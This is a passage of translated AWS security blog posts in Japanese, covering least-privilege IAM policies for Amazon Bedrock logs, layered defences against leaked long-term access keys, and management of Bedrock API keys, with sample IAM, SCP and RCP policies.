"logs:DescribeLogStreams", "logs:GetLogEvents", "logs:Unmask" ], "Resource": "arn:aws:logs: &lt;region&gt; : &lt;account-id&gt; :log-group: &lt;log-group-name&gt; :*" }, { "Sid": "AllowDecryptOfLogEvents", "Effect": "Allow", "Action": [ "kms:Decrypt" ], "Resource": "arn:aws:kms: &lt;region&gt; : &lt;account-id&gt; :alias/ &lt;alias-name&gt; " } ] } CompletionLogAdmin ロールのポリシーには、 異なるアクセス許可 が必要です。次のサンプルポリシーでは、3 種類すべての監査の送信先に監査の検出結果を送信できるデータ保護ポリシーについて、作成、表示、削除をユーザーに許可します。一方、マスクされていないデータの表示は許可しません。ポリシーは次の例のようになります。その際、 &lt;delivery-stream-id&gt; 、 &lt;bucket-name&gt; 、 &lt;log-group-name&gt; 、 &lt;alias-name&gt; を、ご利用の環境に合わせた値に置き換えてください。なお、このポリシーには、最小権限の原則に沿って、設定された KMS キーによるログの復号をアタッチ先のロールに対して明示的に拒否するステートメントが含まれています。 { "Version": "2012-10-17", "Statement": [ { "Sid": "AllowLogGroupsManagement1", "Effect": "Allow", "Action": [ "logs:CreateLogDelivery", "logs:PutResourcePolicy", "logs:DescribeLogGroups", "logs:DescribeResourcePolicies" ], "Resource": "*" }, { "Sid": "AllowLogGroupsManagement2", "Effect": "Allow", "Action": [ "logs:GetDataProtectionPolicy", "logs:DeleteDataProtectionPolicy", "logs:PutDataProtectionPolicy", "s3:PutBucketPolicy", "firehose:TagDeliveryStream", "s3:GetBucketPolicy" ], "Resource": [ "arn:aws:firehose:::deliverystream/ &lt;delivery-stream-id&gt; ", "arn:aws:s3::: &lt;bucket-name&gt; ", "arn:aws:logs:::log-group: &lt;log-group-name&gt; :*" ] }, { "Sid": "AllowListKMSKeys", "Effect": "Allow", "Action": [ "kms:ListKeys", "kms:ListAliases" ], "Resource": "*" }, { "Sid": "DenyDecryptOfLogEvents", "Effect": "Deny", "Action": [ "kms:Decrypt" ], "Resource": "arn:aws:kms: &lt;region&gt; : &lt;account-id&gt; :alias/ &lt;alias-name&gt; " } ] } このアプローチにより、機密データソースであるこれらのログへの意図しないアクセスや漏えいを防ぎやすくなります。また、職務を分離することで最小権限の原則を順守できます。 IAM のアクセス許可の定期的な見直し 要件や機能は時間とともに変化するため、アクセス許可の管理は継続的な取り組みです。そのため、割り当てたアクセス許可を定期的に見直し、必要以上に広いアクセス許可になっていないかを確認することをお勧めします。例えば、Amazon Bedrock に API コールを行う Lambda 関数があり、その関数に追加のアクセス許可 (新しいモデルの使用など) が必要な変更を加えた場合、関数が使用する IAM ロールにアタッチされたポリシーを更新するのは妥当です。ただし、以前のモデルを使用するためのアクセス許可が同じポリシー内で引き続き必要かどうかは、必ずしも明確ではありません。また、すべてのモデルを対象とするように、アクセス許可が不必要に拡大されてしまう可能性もあります。最小権限の原則を適用する際は、デプロイ時にポリシーをテストしてアプリケーションのニーズを過不足なく満たしていることを確認するだけでなく、想定したニーズを定期的に見直すことも重要です。 AWS IAM Access Analyzer を使用すると、IAM ポリシーの変更案を確認およびシミュレーションして、特定のアプリケーションや関数に適しているかどうかを確かめることができます。また、IAM Access Analyzer を使用して、未使用の許可を継続的に確認することもできます。これにより、システムオペレーターは、Amazon Bedrock アプリケーションで使用されるポリシー内の未使用の許可を調査し、削除を判断する機会を得られます。ただし、インシデント対応やリカバリ、その他のまれなユースケースなど、普段は使用されていなくても、ときどき使用するために保持されているアクセス許可もあります。そのため、見直しの際には、未使用の許可をすぐに不要とみなすのではなく、その必要性を再検討する機会としてとらえてください。 最後に、新しい Amazon Bedrock API のモニタリングを IAM 戦略と連携させてください。特に 拒否リスト方式 を使用する場合は、サービスで新しい API、機能、FM が順次発表されることを考慮する必要があります。その一例が、 新しい Converse API の発表 です。この API は Invoke と同様の機能を一貫した方法で提供するため、よりシンプルに使用できます。このような変更を考慮することは、定期的なポリシーの見直しプロセスに欠かせません。 強力なアイデンティティとアクセス管理は、一度きりの対応ではなく、継続的な取り組みです。 まとめ この記事では、Amazon Bedrock を使用する大規模言語モデル (LLM) ベースのアプリケーションに、最小権限の原則を適用する方法をいくつか紹介しました。開発ライフサイクルの各フェーズにおけるセキュリティの考慮事項を説明し、最小権限の原則に基づく独自の戦略を実装する際の出発点となる例を示しました。セキュリティへの取り組みは、プロセスの後半になってから始めるのではなく、早い段階から始めることが重要です。アプリケーションの稼働時に戦略が確実に効果を発揮するように、リスクと必要な対策をできるだけ早い段階で検討してください。 最後に、生成 AI の分野は急速に進化していることを忘れないでください。AWS は、生成 AI がほぼすべての顧客体験を変革する可能性を秘めていると考えています。セキュリティの観点から見ると、これは脅威の状況が時間とともに変化し、進化していくことを意味します。新たなリスクに常に適応し、それらを評価して最小権限の原則に基づく戦略に組み込んでください。 AWS のアカウントチームとスペシャリストが、この取り組みを喜んでサポートします。 &nbsp; この記事に関するご質問は、 AWS サポートにお問い合わせ ください。 &nbsp; Jonathan Jenkyn Jonathan (「JJ」) Jenkyn は、AWS Security Assurance Services の Sr Security Assurance Solution Architect です。30 年以上の経験を持つ実績あるセキュリティリーダーとして、堅牢なクラウドセキュリティを実現しています。JJ は AWS People with Disabilities アフィニティグループでも積極的に活動しており、ランニング、サイクリング、家族との時間を楽しんでいます。 Michael Tschannen Michael は、スイスを拠点とする AWS の EMEA Sr. Specialist SA Security です。キャリアの初期にペネトレーションテスターとして働いた後、防御側に転身しました。それ以来、自身が構築するすべてのソリューションにセキュリティとプライバシーを不可欠な要素として組み込み、日々お客様とそのデータを保護しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2025 年 11 月 21 日に公開された AWS Blog “ Practical steps to minimize key exposure using AWS Security Services ” を翻訳したものです。 漏えいした 長期的な認証情報 は、 AWS Customer Incident Response Team (CIRT) が観測したセキュリティインシデントで、現在も脅威アクターに最も多く使われる侵入経路となっています。長期的な認証情報やアクセスキーが漏えいし、脅威アクターに使用されると、クラウド環境にセキュリティリスクが生じます。さらに、キーのローテーションが不十分な運用、複数のユーザー間でのアクセスキーの共有、未使用の認証情報の取り消し漏れによって、システムが危険にさらされたままになる可能性があります。 長期的な認証情報は使用しないことを強くお勧めします。これを機に、 AWS Identity and Access Management (IAM) ロールとフェデレーションアクセスへの移行を進めることができます。AWS が推奨する ベストプラクティス は、お客様が長期的な認証情報から 脱却 することです。ただし、すべての組織がこの移行をすぐに実現できるとは限らないことも、AWS は認識しています。 長期的な認証情報への意図しないアクセスに対して包括的な防御を構築するには、戦略的な多層アプローチが必要です。このアプローチは、理想的なセキュリティプラクティスと現実の運用上の制約との間のギャップを埋めることを目的としており、長期的な認証情報を必要とするレガシー AWS ワークロードを管理するチームに、すぐに実行できる手順を提供します。 この記事では、防御を構築する方法を順を追って説明します。まず、 Amazon Q Developer や AWS IAM Access Analyzer などのサービスを使用して既存のリスクと潜在的な露出を特定し、環境全体の認証情報リスクを可視化します。次に、 サービスコントロールポリシー (SCP) と データ境界 によって厳格な境界を確立し、認証情報を作成および使用できる方法と場所を制御します。これらの仕組みを整えたら、ネットワークレベルのコントロールによって防御態勢をさらに強化し、アクセスキーが使用される可能性のあるインフラストラクチャを保護します。具体的には、 AWS WAF や Amazon Inspector などのサービスを使用して、脆弱性の悪用からの保護に役立てます。最後に、シークレットの自動ローテーションなどの運用上のベストプラクティスを実装して、基本的なセキュリティ対策を継続的に実施し、侵害が発生した場合の影響を最小限に抑えます。 既存のアクセスキーと露出状況の検出 既存のアクセスキーの監査 包括的な監査を行うために、組織は認証情報レポートを定期的に生成する必要があります。このレポートを使用すると、長期的な認証情報を所有する IAM ユーザーを特定できるほか、キーの最終ローテーション日時、最終使用日時、最後に使用されたサービス、最後に使用されたリージョンなどの関連情報も確認できます。これらのレポートにより、認証情報の全体像を把握するために不可欠な可視性が得られます。長期間アクティビティがないアクセスキー、ローテーションポリシーで定めた期間を超過しているキー、見慣れないリージョンからの予期しない使用パターンに着目することで、未使用の認証情報や侵害された可能性のある認証情報を発見できます。 漏えいしたアクセスキーの検出 認証情報が侵害される一般的な原因の 1 つに、パブリックリポジトリへの不注意なコミットがあります。開発者が誤って認証情報をパブリックリポジトリにコミットすると、攻撃者が使用する自動スキャンツールによって、その認証情報が収集される可能性があります。コードスキャンは、こうした重大なセキュリティ問題を早期に発見するための基本的なステップです。機密性の高い認証情報が誤ってコードリポジトリにコミットされたり、本番環境にデプロイされて悪用の危険にさらされたりする前に、問題を発見できます。 Amazon Q Developer を使用すると、セキュリティの脆弱性やコード品質の問題がないか コードベースをレビュー し、開発サイクル全体を通じてアプリケーションのセキュリティポスチャを改善できます。ローカルのプロジェクトやワークスペース内のすべてのファイルを分析してコードベース全体をレビューすることも、単一のファイルだけをレビューすることもできます。また、自動レビューを有効にすると、記述中のコードをその都度評価することもできます。 Amazon Q は、次のような問題がないかコードをレビューします。 SAST (静的アプリケーションセキュリティテスト) スキャン – ソースコード内のセキュリティの脆弱性を検出します。Amazon Q は、リソースリーク、SQL インジェクション、クロスサイトスクリプティングなど、さまざまなセキュリティ問題を特定します。 シークレットの検出 – コード内の機密情報が露出するのを防ぎます。Amazon Q は、コードファイルとテキストファイルをレビューして、ハードコードされたパスワード、データベース接続文字列、ユーザー名などのシークレットがないか確認します。シークレットの検出結果には、保護されていないシークレットに関する情報と、その保護方法が含まれます。 IaC の問題 – インフラストラクチャファイルのセキュリティポスチャを評価します。Amazon Q は、Infrastructure as Code (IaC) のコードファイルをレビューして、設定ミス、コンプライアンス上の問題、セキュリティの問題を検出できます。 訳注: 原文公開後の 2026 年 5 月 15 日に、Amazon Q Developer の新規登録は停止しました。また、Amazon Q Developer IDE プラグインと有料サブスクリプションは、2027 年 4 月 30 日にサポートが終了する予定です。移行先として Kiro をお勧めします。詳細は「 Amazon Q Developer のサポート終了に関するお知らせ 」を参照してください。Kiro を使用したセキュリティレビューの例については、「 Kiro と Amazon Q でセキュリティポスチャを強化する 5 つの方法 」を参照してください。 AWS Trusted Advisor には、 漏えいしたアクセスキーのチェック も用意されています。このチェックでは、広く利用されているコードリポジトリで公開されてしまったアクセスキーがないかを確認します。また、アクセスキーの侵害が原因と考えられる、 Amazon Elastic Compute Cloud (Amazon EC2) の異常な使用がないかも確認します。 これらは有用なセキュリティツールですが、ローカルの開発マシンや外部システムなど、スキャン範囲外の場所に保存されたシークレットやアクセスキーは検出できません。認証情報の露出を特定して防止する唯一の手段としてではなく、より広範なセキュリティ戦略の一部として使用してください。 侵害された可能性のあるアクセスキーに対処する場合は、直ちにキーをローテーションすることをお勧めします。手順については、 IAM ユーザーのアクセスキーをローテーションする方法 を参照してください。 未使用のアクセスの検出 漏えいした認証情報の特定に加えて、未使用のアクセスキーを検出することでも、アタックサーフェスを最小限に抑えられます。IAM Access Analyzer には、 未使用のアクセスを検出するアナライザー があります。このアナライザーは、過剰に付与されているアクセス許可や、使用されなくなったアクセス許可を検出します。対象には、未使用の IAM ロール、IAM ユーザーの未使用のアクセスキーとパスワード、アクティブな IAM ロールおよび IAM ユーザーで使用されていないサービスとアクションが含まれます。組織全体またはアカウント固有のアナライザーが生成した検出結果を確認した後、不要なアクセス許可を削除または変更できます。未使用の認証情報とアクセスを特定して取り消しておけば、脅威アクターに認証情報を取得された場合でも影響を抑えることができます。 これらのツールを導入すると、環境全体の認証情報リスクに関するインサイトを得られます。これらの機能を組み合わせることで、埋め込まれたシークレット、漏えいしたアクセスキー、削除が必要な認証情報を洗い出すことができます。 予防的ガードレール: データ境界の確立 漏えいした認証情報や未使用の認証情報を特定する方法がわかったところで、次は SCP と リソースコントロールポリシー (RCP) を使用してデータ境界を作成する方法を見ていきましょう。データ境界は、信頼できるアイデンティティだけが、想定されたネットワークから信頼できるリソースにアクセスできるようにするのに役立ちます。AWS 環境に予防的ガードレールを実装することは、不正アクセスやアクセスキーの侵害から環境を保護するうえで不可欠です。データ境界の概要と確立方法の詳細については、ブログ記事シリーズ「 Establishing a Data Perimeter on AWS 」を参照してください。 例えば、 次の SCP は、企業の Classless Inter-Domain Routing (CIDR) や特定の仮想プライベートクラウド (VPC) 以外の想定外のネットワークから IAM ユーザーの認証情報が使用されることを拒否します。このポリシーでは、除外しないとサービスへのアクセスに影響が出る複数のアクションを NotAction 要素に含めています。SCP と RCP の例は、 data-perimeter-policy-examples で公開されています。このリポジトリは、最新の改訂版ポリシーの正規の情報源です。次の例は、想定外のネットワークからユーザーの認証情報が使用されるユースケースに対応するように更新したものです。 { "Version": "2012-10-17", "Statement": [ { "Sid": "EnforceNetworkPerimeterOnIAMUsers", "Effect": "Deny", "NotAction": [ "es:ES*", "dax:GetItem", "dax:BatchGetItem", "dax:Query", "dax:Scan", "dax:PutItem", "dax:UpdateItem", "dax:DeleteItem", "dax:BatchWriteItem", "dax:ConditionCheckItem", "neptune-db:*", "kafka-cluster:*", "elasticfilesystem:client*", "rds-db:connect" ], "Resource": "*", "Condition": { "BoolIfExists": { "aws:ViaAWSService": "false" }, "NotIpAddressIfExists": { "aws:SourceIp": [ "&lt;my-corporate-cidr&gt;" ] }, "StringNotEqualsIfExists": { "aws:SourceVpc": [ "&lt;my-vpc&gt;" ] }, "ArnLike": { "aws:PrincipalArn": [ "arn:aws:iam::*:user/*" ] } } } ] このネットワーク境界を実装すると、認証情報の侵害が不正アクセスやデータの露出につながるリスクを軽減できます。盗んだ認証情報をコーヒーショップや自宅のネットワークから使用しようとする脅威アクターはブロックされるため、認証情報への意図しないアクセスによる影響を抑えることができます。 多層防御をさらに強化するには、RCP を使用してデータを保護できます。例えば、RCP を使用すると、どのアイデンティティがリソースにアクセスできるかを制御できます。組織内のアイデンティティには組織内のリソースへのアクセスを許可し、組織外のアイデンティティによるリソースへのアクセスを防止したい場合は、RCP でこの制御を適用できます。RCP を使用すると、リソースに対して利用可能なアクセス許可の上限を設定し、組織の内外を問わず、どのプリンシパルがリソースにアクセスできるかを指定できます。一方、SCP が影響を与えられるのは、AWS 組織内のプリンシパルの有効なアクセス許可に限られます。 次の RCP を実装すると、長期的な認証情報が誤って漏えいした場合に、組織外の権限のないユーザーがその認証情報を使用して重要なデータやリソースにアクセスしようとしても、確実にブロックされるようにするのに役立ちます。このポリシーは、企業の CIDR 範囲 ( NotIpAddressIfExists と aws:SourceIp ) または VPC ( StringNotEqualsIfExists と aws:SourceVpc ) からのリクエストでない限り、 Amazon Simple Storage Service (Amazon S3) のアクションを拒否します。対応サービスについては、 RCP をサポートする AWS サービスの一覧 を参照してください。SCP と RCP の例は、こちらの GitHub リポジトリ で公開されています。このリポジトリは、最新の改訂版ポリシーの正規の情報源です。次の例は、この記事で取り上げたユースケースに対応するように更新したものです。 { "Version": "2012-10-17", "Statement": [ { "Sid": "EnforceNetworkPerimeter", "Effect": "Deny", "Principal": "*", "Action": [ "s3:*", "sqs:*", "kms:*", "secretsmanager:*", "sts:AssumeRole", "sts:DecodeAuthorizationMessage", "sts:GetAccessKeyInfo", "sts:GetFederationToken", "sts:GetServiceBearerToken", "sts:GetSessionToken", "sts:SetContext", "aoss:*", "ecr:*" ], "Resource": "*", "Condition": { "NotIpAddressIfExists": { "aws:SourceIp": " &lt;0.0.0.0/1&gt; " }, "StringNotEqualsIfExists": { "aws:SourceVpc": " &lt;my-vpc&gt; " }, "BoolIfExists": { "aws:PrincipalIsAWSService": "false", "aws:ViaAWSService": "false" } } } ] } 長期的な認証情報からの移行を始める準備ができている場合は、SCP を使用してアクセスキーの作成と既存キーの更新を拒否することで、IAM ロールやフェデレーションアクセスなど、より安全な認証方法の使用を徹底できます。次のポリシーは、プリンシパルによる AWS アクセスキーの作成と更新を拒否します。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Deny", "Action": [ "iam:CreateAccessKey", "iam:UpdateAccessKey" ], "Resource": "*" } ] } データ境界のコントロールを確立したら、次はネットワークコントロールによって、アクセスキーが使用されるランタイム環境を保護する方法を見ていきましょう。 ネットワークコントロール: アクセスキーが使用されるランタイム環境の保護 データ境界を構築し、SCP と RCP を使用するだけでなく、これらのアクセスキーを使用するコンピューティングおよびネットワークのインフラストラクチャを保護することも不可欠です。悪意のある攻撃者は、不正アクセスを目的としてこうした環境を標的にすることが多く、侵害されたランタイム環境を通じて認証情報が露出するリスクがあります。そのため、インフラストラクチャの保護は、アクセスキーのセキュリティにおいて重要な要素となります。 セキュリティグループとネットワーク ACL (NACL) インスタンスレベルやサブネットレベルなど、さまざまなレベルでファイアウォールとして機能するネットワークレベルのセキュリティ保護を使用して、不正アクセスの防止に役立ててください。 SSH (ポート 22) や RDP (ポート 3389) などの重要なポートは、不正なシステムアクセスを狙う悪意のある攻撃者の主な標的となるため、制限することが不可欠です。セキュリティグループで管理用ポートを開放したままにすると、アタックサーフェスとセキュリティリスクが増大する可能性があります。 AWS Systems Manager Session Manager を使用すると、インバウンドポートを公開せずに安全なリモートアクセスを実現でき、踏み台ホストの使用や SSH キー管理の必要性を軽減できます。 NACL は、サブネットの境界でステートレスなパケットフィルターとして機能し、サブネットレベルでアクセスを効果的にブロックします。個々のインスタンスを保護するセキュリティグループとは異なり、NACL はインバウンドとアウトバウンドの両方のトラフィックに対する明示的な許可/拒否ルールによって、サブネット全体を保護します。NACL は、トラフィックがインスタンスに到達する前にフィルタリングする、重要な境界防御レイヤーとなります。多層防御アプローチの一環としてデプロイすると、NACL はアプリケーション層間をサブネットレベルで分離し、ネットワークエッジで悪意のあるトラフィックパターンをブロックします。また、他のセキュリティレイヤーが侵害された場合でも保護を維持します。これにより、複数の独立したコントロールポイントによる包括的なネットワークセキュリティを実現できます。 NACL よりもさらにネットワーク保護を強化したい場合は、 AWS Network Firewall を使用して、包括的な VPC 保護によるエンタープライズグレードの境界防御を実現できます。Network Firewall は、侵入防止システム、ドメインフィルタリング、ディープパケットインスペクション、地理的 IP コントロールを組み合わせるとともに、Amazon が収集したグローバルな脅威インテリジェンスを使用して、新たな脅威からクラウド環境を自動的に保護します。Network Firewall と AWS Transit Gateway を統合すると、一元管理によって、VPC やアベイラビリティーゾーン全体に一貫したセキュリティポリシーを適用できます。 組織全体でネットワークセキュリティを自動化してスケールさせるには、 AWS Firewall Manager を使用して、Network Firewall のルールとセキュリティグループポリシーの両方を一元管理できます。Firewall Manager は、組織の成長に合わせて 共通のセキュリティグループポリシーのデプロイを自動化 し、未使用のグループをクリーンアップし、複数のアカウントや組織単位にわたって許可範囲が広すぎるルールを修正することで、セキュリティの維持に役立ちます。 Amazon Inspector 意図しないネットワークへの露出を大規模に特定するには、 Amazon Inspector の使用を検討してください。Amazon Inspector は、ソフトウェアの脆弱性や意図しないネットワークへの露出がないか AWS ワークロードを継続的にスキャンし、セキュリティの脆弱性が悪用される前に特定して修正できるようにします。 主な機能は次のとおりです。 パッケージの脆弱性 : パッケージの脆弱性の検出結果は、AWS 環境内で CVE (Common Vulnerabilities and Exposures) の影響を受けるソフトウェアパッケージを特定します。悪意のある攻撃者は、パッチが適用されていないこれらの脆弱性を悪用して、データの機密性、完全性、可用性を侵害したり、他のシステムにアクセスしたりする可能性があります。 コードの脆弱性 : コードの脆弱性の検出結果は、悪用される可能性のあるコード行を特定します。コードの脆弱性には、暗号化の欠如、データ漏えい、インジェクション、脆弱な暗号方式などがあります。Amazon Inspector は、 Lambda 関数のスキャン と Code Security 機能によって検出結果を生成し、Amazon Q と共同で開発された内部ディテクターに基づいて、ポリシー違反や脆弱性を特定します。 ネットワーク到達可能性: ネットワーク到達可能性の検出結果は、インターネットゲートウェイ (Application Load Balancer または Classic Load Balancer の背後にあるインスタンスを含む)、VPC ピアリング接続、または仮想ゲートウェイ経由の VPN を介して、インターネットからポートに到達できるかどうかを示します。これらの検出結果は、管理が不十分なセキュリティグループ、NACL、インターネットゲートウェイなど、許可範囲が広すぎる可能性のあるネットワーク設定や、悪意のあるアクセスを許す可能性のあるネットワーク設定を明らかにします。インスタンスのセキュリティグループで開いている SSH ポートも特定できます。 AWS WAF AWS WAF は、ネットワークセキュリティのコントロールと脆弱性管理を補完するサービスです。認証情報の露出につながる可能性のある悪意のあるウェブトラフィックをフィルタリングすることで、防御レイヤーを追加します。 AWS WAF には、不正アクセスや一般的な脆弱性から保護するための複数のマネージドルールグループが用意されています。 AWS WAF Fraud Control Account Creation Fraud Prevention (ACFP) ルールグループ : ACFP は、リクエストトークンを使用して、クライアントブラウザに関する情報と、アカウント作成リクエストを生成する際の人間による操作の度合いに関する情報を収集します。このルールグループは、IP アドレスとクライアントセッションごとにリクエストを集計し、さらに住所や電話番号など、提供されたアカウント情報ごとにも集計して、大量のアカウント作成の試みを検出して管理します。また、侵害された認証情報を使用した新規アカウントの作成を検出してブロックするため、アプリケーションと新規ユーザーのセキュリティポスチャの保護に役立ちます。 AWS WAF Fraud Control Account Takeover Prevention (ATP) ルールグループ : ATP は、異常なサインイン試行や、盗まれた認証情報を使用したサインイン試行を可視化して制御できるようにすることで、不正なアクティビティにつながる可能性のあるアカウントの乗っ取りの防止に役立ちます。 Amazon CloudFront ディストリビューションの場合、ATP ルールグループは、受信したサインインリクエストの検査に加えて、サインイン試行に対するアプリケーションのレスポンスも検査し、成功率と失敗率を追跡します。ATP は、E メールアドレスとパスワードの組み合わせを、盗まれた認証情報のデータベースと照合します。このデータベースは定期的に更新され、ダークウェブで新たに見つかった、漏えいした認証情報が追加されます。 運用上のベストプラクティス これらの保護レイヤーを補完し、セキュリティポスチャを継続的に維持するために、Secrets Manager による認証情報の自動管理を実装してください。これにより、環境全体でアクセスキーの適切なローテーションとライフサイクル管理を実現できます。自動化によって人為的ミスが減り、認証情報をタイムリーに更新しやすくなるほか、認証情報が侵害された場合の露出期間も短縮できます。 キーは少なくとも 90 日に 1 回ローテーションすることをお勧めします。 Secrets Manager は、スケジュールに従ってシークレットをローテーションするプロセスを自動化し、手作業なしで認証情報が定期的に更新されるようにします。また、シークレットの保存場所を一元化するため、複数のユーザー間でアクセスキーが共有される可能性も低減できます。Secrets Manager では、 Lambda 統合 を使用して、キーの自動ローテーションを設定できます。 また、アクセスキーの自動ローテーションを大規模に実装するためにデプロイできる、既存の ソリューション もあります。このパターンでは、 AWS CloudFormation テンプレートを使用して、IAM アクセスキーを自動的にローテーションできます。テンプレートは、GitHub の IAM キーローテーション リポジトリで提供されています。 自動ローテーションを実装できず、ローテーションが必要なアクセスキーをすばやく特定したい場合は、 AWS Trusted Advisor の IAM アクセスキーのローテーション に関するセキュリティチェックを使用できます。このセキュリティチェックでは、過去 90 日間にローテーションされていないアクティブな IAM アクセスキーを確認します。手動でローテーションを行う必要がある場合は、このセキュリティチェックを使用して、環境内のどのアクセスキーをローテーションすべきかを詳しく調べることができます。 異常な IAM アクティビティの検出 最後に、IAM インフラストラクチャを保護するためのプロアクティブな対策は重要ですが、堅牢な検出とアラートの仕組みを整えておくことも同様に重要です。どれほど入念に対策を講じても、予期しない脅威や不正なアクティビティが発生する可能性は残ります。そのため、包括的な多層防御戦略には、IAM に関連する異常なイベントを迅速に特定して対応する機能を含める必要があります。 Amazon GuardDuty は、機械学習と統合された脅威インテリジェンスを組み合わせて、AWS アカウント、ワークロード、データを脅威から保護するのに役立ちます。 GuardDuty 拡張脅威検出は、さまざまなデータソースにわたる複数のイベントを自動的に関連付けて、AWS 環境内の潜在的な脅威を特定します。拡張脅威検出は、疑わしい一連のアクティビティを検出すると、包括的な攻撃シーケンスの検出結果を生成します。このシステムは、個々の API アクティビティを弱いシグナルとして分析します。これらのシグナルは単独ではリスクを示さない場合もありますが、特定のパターンとして組み合わせて観測されると、潜在的なセキュリティ問題が明らかになることがあります。 この機能は、AWS アカウントで GuardDuty を有効にするとデフォルトで有効になるため、追加の設定なしで保護を受けられます。 侵害された認証情報に関連する攻撃シーケンスの検出結果は AttackSequence:IAM/CompromisedCredentials で、重要度は 重大 (Critical) に分類されています。この検出結果は、AWS 認証情報を使用して実行された一連の疑わしいアクションを GuardDuty が検出し、そのアクションが環境内の 1 つ以上のリソースに影響を与えていることを示します。同じ認証情報による疑わしく異常な脅威行動が複数観測されているため、その認証情報が悪用されている可能性が高いと判断されます。 まとめ この記事で紹介したセキュリティのベストプラクティスは、長期的な認証情報に関連するリスクを軽減するための包括的な多層アプローチです。プロアクティブなコードスキャン、キーの自動ローテーション、ネットワークレベルのコントロール、データ境界による制限、脅威検出を実装することで、一時的な認証情報へ完全に移行できるようになるまでの間、アタックサーフェスを大幅に削減し、組織の AWS リソースをより確実に保護できます。 この記事の推奨事項は、組織のセキュリティポスチャを良好な状態に保つための十分なコントロールですが、各環境の具体的なニーズやリスクプロファイルによっては、追加のセキュリティ対策を講じることができる場合もあります。重要なのは、認証情報の管理と保護に対して、全体的かつ多層的なアプローチを採用することです。そうすることで、一時的な認証情報へ完全に移行できるようになるまでのギャップを埋めることができます。 これらのセキュリティ対策を実装するとリスクを軽減できますが、長期的な認証情報には本質的にセキュリティリスクが伴います。厳格なベストプラクティスと包括的なセキュリティコントロールを適用しても、認証情報が侵害される可能性を完全になくすことはできません。組織のセキュリティポスチャを評価し、可能な限り IAM ロールとフェデレーションによる一時的な認証情報を優先して使用することを検討してください。ご質問がある場合やサポートが必要な場合は、AWS がお手伝いします。 Jennifer Paz Jennifer は 10 年以上の経験を持つセキュリティエンジニアで、現在は AWS Customer Incident Response Team (CIRT) に所属しています。お客様のセキュリティ課題の解決を支援し、セキュリティポスチャの強化に役立つ複雑なソリューションを実装することにやりがいを感じています。仕事以外では、熱心なランナーであり、ピックルボール愛好家、旅行好き、グルメでもあり、常に新しい味との出会いを求めています。 Samantha Tavares Samantha は、AWS Customer Incident Response Team のインシデントレスポンダーです。お客様のクラウド環境の保護を支援することに情熱を注いでいます。セキュリティの課題に取り組んでいないときは、CrossFit で汗を流したり、次の旅行の計画を立てたりしています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2025 年 10 月 17 日に公開された AWS Blog “ Securing Amazon Bedrock API keys: Best practices for implementation and management ” を翻訳したものです。 2026 年 7 月 1 日 : この記事を更新し、Mantle エンドポイントで Amazon Bedrock を使用するためのガイダンスを追加しました。 AWS では、 Amazon Bedrock API を呼び出すための Amazon Bedrock API キー が利用可能です。この記事では、Amazon Bedrock へのこのアクセス方法を効果的に実装、監視、管理するための実践的なセキュリティガイダンスを紹介し、API キーを保護する包括的な戦略の構築を支援します。また、 サービス固有の認証情報 全般についても解説します。これにより、必要に応じて AWS CodeCommit や Amazon Keyspaces (Apache Cassandra 向け) の実装も強化できます。 注 : 以降、この記事では サービス固有の認証情報 と API キー を同じ意味で使用します。 Amazon Bedrock へのアクセスに最適な仕組みの選択 AWS では、可能な限り AWS Security Token Service (AWS STS) が提供する一時的なセキュリティ認証情報を認証方法として優先的に使用することをお勧めします。 ユースケースの都合で一時的な AWS STS 認証情報を使用できない場合は、API キーを使用できます。代表的な例として、HTTP ベアラートークンによる API キー認証を必須とし、 一時的な AWS STS 認証情報による SigV4 署名 を使用するよう設定できないサードパーティ製ソフトウェアやパッケージソフトウェアを使用する場合が挙げられます。 API キーを使用する必要がないと判断した場合は、 サービスコントロールポリシー (SCP) を使用して、API キーの作成と使用を拒否することを検討してください。 ユースケース上 API キーが必要だと判断した場合は、次の 2 種類の API キーのどちらを使用するか検討してください。 短期 API キー : AWS STS 認証情報を使用できない場合は、短期 API キーの使用を検討してください。短期 API キーには有効期限の仕組みが組み込まれており、指定した期間が経過すると自動的に失効します。そのため、漏洩した場合でも認証情報が無期限に使用されることを防げます。 長期 API キー : 長期 API キーは、AWS STS 認証情報も短期の認証情報も使用できない場合にのみ使用してください。例えば、長期間有効な静的 API キーを前提としており、変更できないパッケージソフトウェアや SDK を使用する場合などです。 この記事で紹介するコントロールを実装すれば、API キーに関するセキュリティ上の懸念のほとんどに対処できます。ただし、セキュリティは継続的なプロセスであることを忘れないでください。包括的なセキュリティ戦略の一環として、引き続き AWS のセキュリティに関するベストプラクティスに従い、セキュリティポスチャを定期的に見直してください。 サービス固有の認証情報について サービス固有の認証情報は、特定の AWS サービスへの直接アクセスを提供する専用の認証情報です。他の AWS セキュリティ認証情報 (アクセスキー、シークレットアクセスキー、セッショントークンなど) とは異なり、特定の AWS サービスで使用するように設計されています。 サービス固有の認証情報の主な特徴は次のとおりです。 各認証情報は特定の AWS サービスに関連付けられています AWS Identity and Access Management (IAM) プリンシパルに関連付けられています AWS マネジメントコンソールと AWS コマンドラインインターフェイス (AWS CLI) の両方で管理できます AWS CloudTrail で監視できます サービス固有の認証情報 ID の プレフィックス は ACCA です 組織は SCP を使用して、サービス固有の認証情報の作成と使用を制御できます それでは、サービス固有の認証情報と、それを Amazon Bedrock で使用する方法について詳しく見ていきましょう。 Amazon Bedrock API キー Amazon Bedrock API キー は、Amazon Bedrock への直接アクセスを提供するサービス固有の認証情報です。 アクセス許可 bedrock:CallWithBearerToken を付与すると、これらのトークンを使用して Amazon Bedrock API アクションを実行できるようになります。同様に、 アクセス許可 bedrock-mantle:CallWithBearerToken を付与すると、これらのトークンを使用して Amazon Bedrock Powered by AWS Mantle API アクションを実行できるようになります。 キーの種類と特徴 API キーには 2 種類あり、それぞれ次の特徴があります。 短期 API キー 事前署名された SigV4 認証を使用します クライアント側で生成されるため、短期 API キーの作成は CloudTrail に記録されません 認証情報レポートや AWS CLI の呼び出しでは取得できません 有効期間は、API キーを生成した IAM セッションの有効期間と 12 時間のうち、短い方です キーの生成に使用したロールと同じアクセス許可を持ちます パターン: bedrock-api-key-YmVkcm9jay5hbWF6b25hd3MuY29tLz9BY3Rpb249Q2FsbFdpdGhCZWFyZXJUb2tlbiZYLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsP[A-Za-Z0-9\\]+={0,2} 長期 API キー Amazon Bedrock コンソールから Amazon Bedrock の長期 API キーを作成すると、AWS は 